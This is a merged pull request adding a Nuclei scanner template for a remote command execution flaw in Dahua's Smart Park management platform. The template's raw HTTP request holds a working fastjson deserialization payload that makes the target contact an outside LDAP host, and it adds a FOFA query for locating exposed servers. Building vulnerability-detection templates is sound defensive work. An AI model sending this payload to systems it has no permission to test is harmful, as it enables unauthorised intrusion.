Merge pull request #8755 from projectdiscovery/dahua-wpms-rce

Create dahua-wpms-rce.yaml

http/vulnerabilities/dahua/dahua-wpms-rce.yaml

@@ -0,0 +1,33 @@
+id: dahua-wpms-rce
+
+info:
+  name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
+  author: DhiyaneshDK
+  severity: critical
+  reference:
+    - https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua-zhyq-deleteftp-rce.py
+  metadata:
+    max-request: 1
+    fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
+  tags: rce,dahua,wpms
+
+http:
+  - raw:
+      - |
+        POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "autoCommit"
+
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"